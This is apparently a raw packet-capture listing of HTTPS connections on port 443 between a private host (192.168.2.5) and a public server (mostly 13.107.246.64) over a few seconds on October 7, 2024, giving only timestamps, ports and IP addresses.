Oct 7, 2024 18:00:21.143218994 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.143238068 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.143719912 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.143724918 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.159791946 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.159943104 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.160052061 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.160259008 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.160259008 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.160274982 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.160284042 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.162694931 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.162739992 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.162795067 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.163054943 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.163069010 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.233902931 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.233969927 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.234013081 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.234200954 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.234215975 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.234229088 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.234236002 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.237078905 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.237126112 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.237237930 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.237319946 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.237334013 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.242449045 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.242516041 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.242588997 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.242871046 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.242871046 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.242883921 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.242892027 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.244311094 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.244368076 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.244466066 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.244713068 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.244721889 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.244756937 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.244762897 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.246359110 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.246382952 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.246438026 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.246619940 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.246634960 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.248042107 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.248070955 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.248122931 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.248310089 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.248327971 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.830660105 CEST	443	49740	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.831624031 CEST	49740	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.831644058 CEST	443	49740	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.832580090 CEST	49740	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.832585096 CEST	443	49740	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.926662922 CEST	443	49740	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.926727057 CEST	443	49740	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.927023888 CEST	49740	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.927023888 CEST	49740	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.927221060 CEST	49740	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.927239895 CEST	443	49740	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.930383921 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.930428982 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.931046963 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.931046963 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.931083918 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.996087074 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.996706009 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.997216940 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.997242928 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.998084068 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.998085022 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.998095036 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.998095989 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:21.998687983 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:21.998694897 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.044513941 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.045727968 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.045747042 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.046268940 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.046276093 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.115120888 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.115272999 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.115464926 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.119376898 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.119376898 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.119391918 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.119400978 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.120851040 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.121006012 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.121077061 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.121572018 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.121572018 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.121589899 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.121598005 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.126986027 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.127017975 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.127408981 CEST	49746	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.127446890 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.127545118 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.127716064 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.127733946 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.127783060 CEST	49746	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.128092051 CEST	49746	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.128106117 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.148377895 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.148472071 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.148725986 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.148725986 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.148897886 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.148906946 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.153553963 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.153603077 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.153690100 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.154371977 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.154405117 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.552476883 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.596246004 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.596299887 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.596565962 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.596571922 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.657946110 CEST	443	49713	23.1.237.91	192.168.2.5
Oct 7, 2024 18:00:22.659997940 CEST	49713	443	192.168.2.5	23.1.237.91
Oct 7, 2024 18:00:22.688241005 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.688309908 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.688457012 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.691591978 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.691613913 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.767522097 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.769165993 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.819905996 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.825601101 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.874664068 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.880439043 CEST	49746	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.880453110 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.881351948 CEST	49746	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.881357908 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.882230997 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.882236958 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.882898092 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.882909060 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.883907080 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.883913040 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.884469032 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.884475946 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.887594938 CEST	49749	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.887631893 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.887690067 CEST	49749	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.888082027 CEST	49749	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.888092995 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.973215103 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.973294973 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.973350048 CEST	49746	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.974843025 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.974911928 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.974955082 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:22.982383013 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.982506037 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:22.982552052 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.059547901 CEST	49746	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.059547901 CEST	49746	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.059581995 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.059592962 CEST	443	49746	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.067552090 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.067572117 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.067586899 CEST	49747	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.067595959 CEST	443	49747	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.082736015 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.082755089 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.082771063 CEST	49748	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.082777977 CEST	443	49748	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.144265890 CEST	49750	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.144315958 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.144530058 CEST	49750	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.302409887 CEST	49750	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.302442074 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.308720112 CEST	49751	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.308778048 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.308840036 CEST	49751	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.310266018 CEST	49751	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.310285091 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.312951088 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.313023090 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:23.313086033 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.314857006 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:23.314892054 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.014379978 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.016383886 CEST	49749	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.016403913 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.016693115 CEST	49749	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.016696930 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.116554976 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.116615057 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.116835117 CEST	49749	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.116951942 CEST	49749	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.116951942 CEST	49749	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.116970062 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.116977930 CEST	443	49749	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.120549917 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.120579958 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.120637894 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.120812893 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.120829105 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.475775003 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.476619959 CEST	49751	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.476635933 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.477128029 CEST	49751	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.477134943 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.478020906 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.478534937 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.478559017 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.479018927 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.479031086 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.483166933 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.483592033 CEST	49750	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.483604908 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.484049082 CEST	49750	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.484054089 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.572357893 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.572467089 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.572532892 CEST	49751	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.572736025 CEST	49751	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.572760105 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.572776079 CEST	49751	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.572784901 CEST	443	49751	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.576081038 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.576108932 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.576498032 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.577708960 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.577858925 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.577877998 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.577892065 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.577922106 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.578118086 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.578118086 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.578162909 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.578191996 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.580543995 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.580600023 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.580667019 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.581583023 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.581614017 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.584858894 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.584942102 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.585021019 CEST	49750	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.585180998 CEST	49750	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.585180998 CEST	49750	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.585196972 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.585206032 CEST	443	49750	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.590814114 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.590846062 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.591418982 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.591871977 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.591886044 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.746727943 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.747287035 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.747308969 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.747837067 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.747843027 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.959630013 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.959872961 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.961558104 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.964078903 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.964087009 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.964099884 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.964106083 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.968017101 CEST	49757	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.968050957 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.968704939 CEST	49757	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.968883991 CEST	49757	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:24.968899965 CEST	443	49757	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:24.999984026 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.000511885 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.000565052 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.000988007 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.001010895 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.109466076 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.109530926 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.109607935 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.109819889 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.109869957 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.109898090 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.109915018 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.112596035 CEST	49758	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.112629890 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.112701893 CEST	49758	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.112869024 CEST	49758	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.112884998 CEST	443	49758	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.202246904 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.202955008 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.202985048 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.203480005 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.203486919 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.205472946 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.205916882 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.205935955 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.206490040 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.206495047 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.210985899 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.211786985 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.211818933 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.212294102 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.212304115 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.302377939 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.302460909 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.302567005 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.303137064 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.303225040 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.303294897 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.307275057 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.307275057 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.307296991 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.307306051 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.307622910 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.307779074 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.307931900 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.308465958 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.308465958 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.308473110 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.308485985 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.308495998 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.308516026 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.308546066 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.308563948 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.312714100 CEST	49759	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.312741041 CEST	443	49759	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.312825918 CEST	49759	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.313532114 CEST	49760	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.313540936 CEST	443	49760	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:25.313750982 CEST	49761	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:25.313752890 CEST	49759	443	192.168.2.5	13.107.246.64
